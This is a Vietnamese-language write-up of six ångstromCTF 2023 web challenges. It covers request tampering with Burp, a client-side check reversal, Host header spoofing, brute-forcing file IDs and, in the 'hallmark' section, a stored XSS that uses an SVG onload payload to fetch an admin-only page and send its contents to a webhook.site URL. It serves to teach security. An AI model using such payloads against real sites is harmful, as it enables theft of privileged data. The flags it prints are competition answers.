# ångstromCTF 2023 --- ###### tags: `CTF` ## 1. catch me if you can ***Description: Somebody help!*** ![](https://i.imgur.com/EnbnNUW.png) Flag quay như chong chóng, mình F12 thì ra flag lun: ![](https://i.imgur.com/JKUkULj.png) Flag: `actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}` ## 2. Celeste Speedrunning Association ***Description: I love Celeste Speedrunning so much!!! It's so funny to watch!!!*** ![](https://i.imgur.com/XwwygCE.png) Mình `/play` theo hướng dẫn của họ ![](https://i.imgur.com/mhoUqof.png) Bấm thử thì chắc chắn là thua goy ![](https://i.imgur.com/LdLAvgS.png) Đọc source: ```html= <form action="/submit" method="POST"> <input type="text" style="display: none;" value="1682237906.5442224" name="start" /> <input type="submit" value="Press when done!" /> </form> ``` Hiểu đơn giản là khi click thì form sẽ POST lên server một biến `start=1682237906.5442224`, biến `start` này sẽ thay đổi dựa trên thời gian thực. Mình đoán là server sẽ lấy thời gian thực từ hàm `Date()` trừ đi giá trị biến `start`, kết quả này phải < 0 thì mới có thể win (vì kỷ lục nhanh nhất là 0). Đáp vào BurpSuite để bắt request ![](https://i.imgur.com/aGVZcpJ.png) Chỉnh `start` tăng lên một chút là được ![](https://i.imgur.com/EocDuqW.png) Flag: `actf{wait_until_farewell_speedrun}` ## 3. shortcircuit ![](https://i.imgur.com/cKYJJtH.png) Đọc source: ```javascript= const swap = (x) => { let t = x[0] x[0] = x[3] x[3] = t t = x[2] x[2] = x[1] x[1] = t t = x[1] x[1] = x[3] x[3] = t t = x[3] x[3] = x[2] x[2] = t return x } const chunk = (x, n) => { let ret = [] for (let i = 0; i < x.length; i += n) { ret.push(x.substring(i, i + n)) } return ret } const check = (e) => { if (document.forms[0].username.value === "admin") { if (swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7") { location.href = "/win.html" } else { document.getElementById("msg").style.display = "block" } } } ``` Hiểu sơ qua thì website sẽ check `username = admin` và `password = flag` nhưng `flag` đã bị chia nhỏ và tráo đổi vị trí bằng hàm `swap`. Viết lại script: ```javascript= let flag = '7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7' const swap = (x) => { let t = x[3] x[3] = x[2] x[2] = t t = x[1] x[1] = x[3] x[3] = t t = x[2] x[2] = x[1] x[1] = t t = x[0] x[0] = x[3] x[3] = t return x } const chunk = (x, n) => { let ret = [] for (let i = 0; i < x.length; i += n) { ret.push(x.substring(i, i + n)) } return ret } console.log(swap(chunk(flag, 30)).join("")) ``` ![](https://i.imgur.com/d0jenRO.png) ![](https://i.imgur.com/Rp1XJ6i.png) Flag: `actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}` ## 4. directory ***Description: This is one of the directories of all time, and I would definitely rate it out of 10.*** ![](https://i.imgur.com/mVC8bNS.png) ![](https://i.imgur.com/51dVFWZ.png) Trang web cho một list 5000 file và flag ở một trong 5000 file đó. Đáp vào Intruder BurpSuite, chạy từ 1 đến 4999 là ra flag: ![](https://i.imgur.com/eW9vwhD.png) Flag: `actf{y0u_f0und_me_b51d0cde76739fa3}` ## 5. Celeste Tunneling Association ***Description: Welcome to the tunnels!! Have fun!*** ![](https://i.imgur.com/fqXCZFu.png) Source code: ```python= # run via `uvicorn app:app --port 6000` import os SECRET_SITE = b"flag.local" FLAG = os.environ['FLAG'] async def app(scope, receive, send): assert scope['type'] == 'http' headers = scope['headers'] await send({ 'type': 'http.response.start', 'status': 200, 'headers': [ [b'content-type', b'text/plain'], ], }) # IDK malformed requests or something num_hosts = 0 for name, value in headers: if name == b"host": num_hosts += 1 if num_hosts == 1: for name, value in headers: if name == b"host" and value == SECRET_SITE: await send({ 'type': 'http.response.body', 'body': FLAG.encode(), }) return await send({ 'type': 'http.response.body', 'body': b'Welcome to the _tunnel_. Watch your step!!', }) ``` Đoạn code trên duyệt qua từng cặp `name` và `value` trong `headers` nếu `host = flag.local` thì sẽ render ra flag. Đáp vào BurpSuite: ![](https://i.imgur.com/15CEJyD.png) Mình thấy request sử dụng giao thức `GET / HTTP/2` và Target trỏ tới địa chỉ trang web:![](https://i.imgur.com/huelnI3.png) Vì vậy ta có thể tùy biến giá trị của `Host`. Chẳng hạn như: ![](https://i.imgur.com/rvgNWVU.png) Flag: `actf{reaching_the_core__chapter_8}` ## 6. hallmark ***Description: Send your loved ones a Hallmark card! Maybe even send one to the admin 😳.*** Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/%C3%A5ngstromCTF%202023/hallmark ![](https://i.imgur.com/f56VNsg.png) Source code khá dài nên mình sẽ tóm tắt như sau. Trang web sẽ render các Card dựa theo `id`, có sẵn 4 Card ví dụ: ![](https://i.imgur.com/ljeE3Mp.png) Nếu ta custom Card sẽ sinh ra một `id` mới. Mình xác định website dính lỗi XSS. Code khá dài nhưng mình chỉ quan tâm hàm `PUT` sau: ```javascript= app.put("/card", (req, res) => { let { id, type, svg, content } = req.body; if (!id || !cards[id]){ res.send("bad id"); return; } cards[id].type = type == "image/svg+xml" ? type : "text/plain"; cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content; res.send("ok"); }); ``` Hàm `PUT` trên sẽ kiểm tra `type` với `image/svg+xml` hai lần. Lần đầu là so sánh giá trị, lần 2 là so sánh cả giá trị lẫn kiểu dữ liệu. Để có thể XSS thành công, ta cần truyền `type` sao cho có cùng giá trị với `image/svg+xml` nhưng khác kiểu dữ liệu. Nếu `type = text/plain` hay `content = IMAGES` thì đều thất bại. Đáp vào BurpSuite để bắt request: ![](https://i.imgur.com/ENh9ntg.png) Sửa `POST` thành `PUT`, thêm `id=59fd4892-bcee-47cb-b304-ca1a2e446098` Và mình đã truyền cho `type` theo kiểu array như sau `type[] = image/svg+xml` URL encode rồi send: ![](https://i.imgur.com/k73VrvQ.png) Kiểm tra xem `Content-Type` trang `id` đã thành `image/svg+xml` hay chưa: ![](https://i.imgur.com/v3g5VnP.png) Okay giờ lên Payloads All The Things tìm payload XSS `svg+xml`: ```javascript= <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> ``` ![](https://i.imgur.com/QkoXf9a.png) Trông khá là uy tín. Thử request lên browser xem payload có thực sự hoạt động. ![](https://i.imgur.com/f3DFQZK.png) Tốt rồi nó hoạt động, giờ là lúc khai thác. ```javascript= // the admin bot will be able to access this app.get("/flag", (req, res) => { if (req.cookies && req.cookies.secret === secret) { res.send(flag); } else { res.send("you can't view this >:("); } }); ``` Flag nằm trong `/flag`, mình thực hiện `fetch` đến đó để lấy flag rồi sau đó `fetch` đến một trang webhook để hiển thị flag. Payload như sau: ```javascript= <svg xmlns="http://www.w3.org/2000/svg" onload=" fetch(`https://hallmark.web.actf.co/flag`) .then(function(response) { return response.text(); }) .then(function(data) { fetch(`https://webhook.site/61fe0d30-38e8-4866-bd5b-c1e8917b5c91?`+data); }) .catch(function(error) { console.log(error); })"/> ``` ![](https://i.imgur.com/QdG77Yh.png) ![](https://i.imgur.com/l1brIOR.png) Giờ gửi nó cho `admin`: ![](https://i.imgur.com/AJKKXFR.png) Solved: ![](https://i.imgur.com/q5Be3Ci.png) Flag: `actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}`